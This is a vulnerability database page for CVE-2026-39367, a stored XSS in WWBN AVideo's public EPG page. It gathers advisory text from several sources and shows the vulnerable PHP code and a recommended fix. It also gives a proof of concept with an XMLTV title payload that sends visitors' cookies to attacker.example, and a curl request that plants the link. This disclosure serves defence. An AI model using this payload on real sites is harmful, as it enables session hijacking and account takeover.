CVE-2026-39367
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.4
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
- Record
CVE-2026-39367- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-19879
5.4
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
- Record
EUVD-2026-19879- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rqp3-gf5h-mrqx
5.4
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epg_link parameter is stored with only a URL format check:
if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
$obj->setEpg_link($_POST['epg_link']);
}
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
$this->epgdata[$grouper ?: 0] = [
'title' => (string) $element->title,
// ...
];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
$text = "{$program['title']}<div>..."; // HTML injection
}
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
<?xml version="1.0" encoding="UTF-8"?>
<tv>
<channel id="ch1">
<display-name>Test Channel</display-name>
</channel>
<programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
<title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
</programme>
</tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
'https://target.example/objects/videoAddNew.json.php' \
-d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators
- Account takeover: Stolen admin sessions allow full platform control
- Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction
- Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <=…
- Record
GHSA-rqp3-gf5h-mrqx- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
5.4
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
- Record
CVE-2026-39367- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
5.4
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
WWBN AVideo is an open source video platform. In versions 26.0 and prior, AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
- Record
CVE-2026-39367- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-rqp3-gf5h-mrqx
5.4
WWBN AVideo has Stored XSS via Malicious EPG XML Program Titles in AVideo EPG Page
Summary
AVideo's EPG (Electronic Program Guide) feature parses XML from user-controlled URLs and renders programme titles directly into HTML without any sanitization or escaping. A user with upload permission can set a video's epg_link to a malicious XML file whose <title> elements contain JavaScript. This payload executes in the browser of any unauthenticated visitor to the public EPG page, enabling session hijacking and account takeover.
Details
The vulnerability spans three files in the data flow:
1. Entry point — objects/videoAddNew.json.php:117-119
The epg_link parameter is stored with only a URL format check:
if (empty($_POST['epg_link']) || isValidURL($_POST['epg_link'])) {
$obj->setEpg_link($_POST['epg_link']);
}
This requires User::canUpload() (line 10) — not admin, just basic upload permission.
2. XML parsing — objects/EpgParser.php:321
Programme titles are extracted as raw strings with no sanitization:
$this->epgdata[$grouper ?: 0] = [
'title' => (string) $element->title,
// ...
];
3. Sink — plugin/PlayerSkins/epg.php:343-351
Programme titles are interpolated directly into HTML output without htmlspecialchars() or any escaping:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$program['title']}\">.</abbr>"; // attribute injection
} else if ($width <= $minimumWidth) {
$text = "<abbr title=\"{$program['title']}\"><small ..."; // attribute injection
} else if ($width <= $minimumSmallFont) {
$text = "<small class=\"small-font\">{$program['title']}<div>..."; // HTML injection
} else {
$text = "{$program['title']}<div>..."; // HTML injection
}
Notably, the channel display-name is sanitized via safeString() at line 151, but programme titles are not — an apparent oversight.
The EPG page (epg.php) requires no authentication to access, and the rendered output is cached at line 634 (ObjectYPT::setCache), so the XSS payload persists in cache even if the original malicious XML is later removed.
PoC
Step 1: Host a malicious XMLTV file at an attacker-controlled URL:
<?xml version="1.0" encoding="UTF-8"?>
<tv>
<channel id="ch1">
<display-name>Test Channel</display-name>
</channel>
<programme start="20260404060000 +0000" stop="20260404070000 +0000" channel="ch1">
<title><![CDATA[<img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>]]></title>
</programme>
</tv>
Step 2: Create a video with the malicious EPG link (requires upload permission):
curl -s -b 'PHPSESSID=UPLOAD_USER_SESSION' \
'https://target.example/objects/videoAddNew.json.php' \
-d 'title=LiveStream&videoLink=https://example.com/stream.m3u8&epg_link=https://attacker.example/evil.xml&categories_id=1'
Step 3: Any visitor (unauthenticated) browsing the EPG page triggers the XSS:
https://target.example/plugin/PlayerSkins/epg.php
The <img onerror> payload executes in the browser of every visitor, exfiltrating cookies and session tokens.
Impact
- Session hijacking: Any visitor's session cookies are exfiltrated, including administrators
- Account takeover: Stolen admin sessions allow full platform control
- Persistent: The XSS payload is cached server-side and fires for every page visitor without further interaction
- Wide blast radius: The EPG page is publicly accessible with no authentication required
Recommended Fix
Escape all programme data before rendering in HTML. In plugin/PlayerSkins/epg.php, apply htmlspecialchars() to programme titles before interpolation:
// Around line 340, before the width checks:
$safeTitle = htmlspecialchars($program['title'], ENT_QUOTES, 'UTF-8');
// Then use $safeTitle instead of $program['title']:
} else if ($width <= $minimumWidth1Dot) {
$text = "<abbr title=\"{$safeTitle}\">.</abbr>";
} else if ($width <=…
- Record
GHSA-rqp3-gf5h-mrqx- CVSS 3.1
- 5.4 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
wwbn/avideoPackagist |
through 26.0 | None known |
wwbn/avideoPackagist |
through 26.0, plus listed versions 10.410.81111.111.1.1 Show 11 moreShow less11.511.612.414.314.3.114.418.021.022.024.025.0 |
None known |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-39367 is a medium vulnerability (CVSS 5.4) in Wwbn Avideo, published April 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.20%, the 10th percentile. No source names a fixed version.
References
github.com/WWBN/AVideo/security/advisories/GHSA-rqp3-gf5h-mrqx
github.com/WWBN/AVideo/commit/e0212add4aad0f1e97758a4b4fdc57df58ce68e8
nvd.nist.gov/vuln/detail/CVE-2026-39367
github.com/advisories/GHSA-rqp3-gf5h-mrqx
github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39367.json
github.com/WWBN/AVideo
Left out here: the rest of 2 source descriptions. The JSON record has them.